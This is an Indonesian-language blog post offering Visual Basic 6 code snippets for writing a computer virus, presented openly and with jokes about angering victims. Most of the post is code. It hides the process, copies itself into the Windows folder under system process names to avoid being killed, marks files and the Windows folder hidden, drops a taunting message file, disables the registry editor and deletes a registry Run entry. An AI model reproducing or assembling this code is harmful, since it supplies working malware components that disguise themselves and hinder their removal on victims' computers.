Code Simple Membuat Virus

Hahay hari semakin panas nih.. Proses pencarian ilmu dcyber masih berlanjut.. gag susah juga ternyata fauzi nyari-nyari code yang berguna untuk berbagi di blog fauzi online... Code untuk membuat virus!! yaaah sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita hehehehe (mulai mulai Otak jahat dah). Kali ini fauzi mau berbagi sedikit ilmu nih kumpulan code yang sering digunakan untuk bikin virus dengan VB 6..
silahkan dicoba yah (RESIKO TANGGUNG SENDIRI hehehe)

Script Code berikut Masih Menggunakan Standar Exe Di VB
1. Untuk Menyembunyikan Form
Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Mencopy Dirinya Sendiri
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe atau services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. Membuat Direktori ato folder
Misalnya membuat folder di windows direktori

On Error Resume Next
MkDir "C:\WINDOWS\virus"

4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attributes = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Membuat Pesan Virus
Membuat pesan menggunakan text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Mengubah Registry
Misalnya ingin disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry
Misalna ingin menhapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon

On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”

Hahahahay udah cukup belum code-codenya? sekarang teman-teman tinggal berkreasi deh menurut selera sama code-code di atas..
hehehehhe kalau teman-teman punya code virus yang ingin ditambahkan.. sharing juga yaah di fauzi-online lewat komentar di bawah... thank you